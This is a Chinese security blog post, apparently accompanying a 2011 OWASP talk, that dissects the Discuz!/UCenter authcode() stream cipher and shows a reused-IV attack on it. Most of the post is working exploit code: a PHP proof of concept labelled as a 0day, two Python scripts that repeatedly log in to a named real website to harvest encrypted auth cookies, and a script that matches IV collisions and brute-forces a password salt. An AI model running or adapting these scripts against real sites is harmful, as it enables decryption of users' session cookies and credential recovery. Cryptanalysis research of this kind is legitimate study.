与上一篇一样,此文是2011 OWASP主题演讲的补充。本文中也会发布在演讲中提到的演示代码。如果读者对密码学不是很熟悉,请先阅读之前的两篇blog文章。
Discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):
======================================================================
// $string: 明文 或 密文
// $operation:DECODE表示解密,其它表示加密
// $key: 密匙
// $expiry:密文有效期
//字符串解密加密
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 (初始化向量IV)
$ckey_length = 4; // 随机密钥长度 取值 0-32;
// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv)
// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
// 当此值为 0 时,则不产生随机密钥
// 密匙
$key = md5($key ? $key : UC_KEY);
// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文 (初始化向量IV)
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}
======================================================================
在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度。$ckey_length = 0时,没有IV。
IV的意义就是为了一次一密,它影响到真正每次用于加密的XOR KEY。
而“Reused Key Attack”的前提就是要求XOR KEY是相同的。但discuz默认使用的IV长度是4,这并不是一个很大的值,因此可以遍历出所有的IV可能值。一旦IV出现重复,就意味着XOR KEY也重复了,因此可以实施“Reused Key Attack”。
如下演示代码:
<?php
define('UC_KEY','asdfasfas');
$plaintext1 = "2626";
$plaintext2 = "2630";
$guess_result = "";
$time_start = time();
$dict = array();
global $ckey_length;
$ckey_length = 4;
echo "== Discuz/UCenter authcode() stream cipher attack exploit v2(crack plaintext)\n";
echo "== 0day by axis ==\n";
echo "== 2011.9.2 ==\n\n";
echo "Collecting Dictionary(XOR Keys).\n";
$cipher2 = authcode($plaintext2, "ENCODE" , UC_KEY);
$counter = 0;
for (;;){
$counter ++;
$cipher1 = authcode($plaintext1, "ENCODE" , UC_KEY);
$keyc1 = substr($cipher1, 0, $ckey_length);
$cipher1 = base64_decode(substr($cipher1, $ckey_length));
$dict[$keyc1] = $cipher1;
if ( $counter%1000 == 0){
echo ".";
if ($guess_result = guess($dict, $cipher2)){
break;
}
}
}
array_unique($dict);
echo "\nDictionary Collecting Finished..\n";
echo "Collected ".count($dict)." XOR Keys\n";
function guess($dict, $cipher2){
global $plaintext1,$ckey_length;
$keyc2 = substr($cipher2, 0, $ckey_length);
$cipher2 = base64_decode(substr($cipher2, $ckey_length));
for ($i=0; $i<count($dict); $i++){
if (array_key_exists($keyc2, $dict)){
echo "\nFound key in dictionary!\n";
echo "keyc is: ".$keyc2."\n";
return crack($plaintext1,$dict[$keyc2],$cipher2);
break;
}
}
return False;
}
echo "\ncounter is:".$counter."\n";
$time_spend = time() - $time_start;
echo "crack time is: ".$time_spend." seconds \n";
echo "crack result is :".$guess_result."\n";
function crack($plain, $cipher_p, $cipher_t){
$target = '';
$tmp_p = substr($cipher_p, 26);
echo hex($tmp_p)."\n";
$tmp_t = substr($cipher_t, 26);
echo hex($tmp_t)."\n";
for ($i=0;$i<strlen($plain);$i++){
$target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i]));
}
return $target;
}
function hex($str){
$result = '';
for ($i=0;$i<strlen($str);$i++){
$result .= "\\".ord($str[$i]);
}
return $result;
}
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
global $ckey_length;
//$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
//$xx = ''; // real key
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
//$xx .= chr($box[($box[$a] + $box[$j]) % 256]);
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
//echo "xor key is: ".hex($xx)."\n";
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
测试效果:
在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。
以下演示代码,将从一个网站中遍历出重复的IV。
每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。
grab_cipher1.py:
======================================================================
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import Cookie
import sqlite3
import base64
import operator
#url = "http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1"
#req = urllib2.Request(url,data,headers)
#f = urllib2.urlopen(req)
# Step1 get cipher1 of plaintext1 to generate dictionary
dbcon = sqlite3.connect('./authcode.db')
c = dbcon.cursor()
# 如果是第一次执行,需要创建表,之后则不再需要
#c.execute('CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)')
dbcon.text_factory = str
for i in range(0,10000):
headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',
'Content-Type':'application/x-www-form-urlencoded',
'Referer':'http://photo003.com/',
'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}
data = {'username':'请替换username','password':'请替换pass','quickforward':'yes','handlekey':'ls'}
data = urllib.urlencode(data)
conn = httplib.HTTPConnection("photo003.com")
conn.request('POST',
'/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',
data,
headers)
res = conn.getresponse()
if res:
cookies = Cookie.SimpleCookie()
cookies.load(res.getheader("Set-Cookie"))
authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)
iv = authcookie[0:4]
cipher = base64.b64decode(authcookie[4:])
c.execute('INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)',(iv, cipher))
dbcon.commit()
print str(i) + ' ' + iv
======================================================================
grab_cipher2.py:
======================================================================
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import Cookie
import sqlite3
import base64
import operator
#url = "http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1"
#req = urllib2.Request(url,data,headers)
#f = urllib2.urlopen(req)
# Step1 get cipher1 of plaintext1 to generate dictionary
dbcon = sqlite3.connect('./authcode.db')
c = dbcon.cursor()
#c.execute('CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)')
dbcon.text_factory = str
for i in range(0,10000):
headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',
'Content-Type':'application/x-www-form-urlencoded',
'Referer':'http://photo003.com/',
'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}
data = {'username':'请替换username2','password':'请替换pass2','quickforward':'yes','handlekey':'ls'}
data = urllib.urlencode(data)
conn = httplib.HTTPConnection("photo003.com")
conn.request('POST',
'/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',
data,
headers)
res = conn.getresponse()
if res:
cookies = Cookie.SimpleCookie()
cookies.load(res.getheader("Set-Cookie"))
authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)
iv = authcookie[0:4]
cipher = base64.b64decode(authcookie[4:])
c.execute('INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)',(iv, cipher))
dbcon.commit()
print str(i) + ' ' + iv
======================================================================
crack_discuz_authcode.py:
======================================================================
import string
import urllib2
import urllib
#from urlparse import urlparse
import httplib
import Cookie
import sqlite3
import base64
import operator
import md5
import random
def crack(plain1, cipher1, cipher2):
plain2 = ''
for i in range(0,len(plain1)):
ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))
plain2 += chr(operator.xor(ch, ord(cipher2[i])))
return plain2
def bytecode(st):
s = ''
for c in st:
s = s + str(ord(c)) + ','
return s
def list_iv_collision():
dbcon = sqlite3.connect('./authcode.db')
c = dbcon.cursor()
dbcon.text_factory = str
c.execute('select * from photo003_2626')
r1 = c.fetchall()
c.execute('select * from photo003_2630')
r2 = c.fetchall()
if r1 and r2:
for c1 in r1:
for c2 in r2:
if c1[1] == c2[1]:
print c1[1] + ' ' + c2[1]
c.close()
dbcon = sqlite3.connect('./authcode.db')
c = dbcon.cursor()
dbcon.text_factory = str
list_iv_collision()
###################################
# 下面的代码尝试破解salt,此功能尚未完成
###################################
iv = "dee5"
pwd = "password"
c.execute('select * from photo003_2626 where iv=?', (iv,))
r1 = c.fetchone()
c.execute('select * from photo003_2630 where iv=?', (iv,))
r2 = c.fetchone()
if r1 and r2:
for x in range(0,99999999):
csets = "abcdefghijklmnopqrstuvwxyz0123456789"
salt = ''
for i in range(0,6):
salt += random.choice(csets)
plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + '\t' + '2626'
#print salt
#print plain1
plain2 = crack(plain1, r1[2][26:], r2[2][26:] )
#print plain2
if plain1[0:32] == plain2[0:32]:
print salt
print 'counter is:' + str(x)
break
if x%100000 == 0:
print str(x) + ' ' + salt
c.close()
======================================================================
测试效果:
在十几分钟内就能收集到很多重复的IV。
通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。
authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。
最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。
这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。
|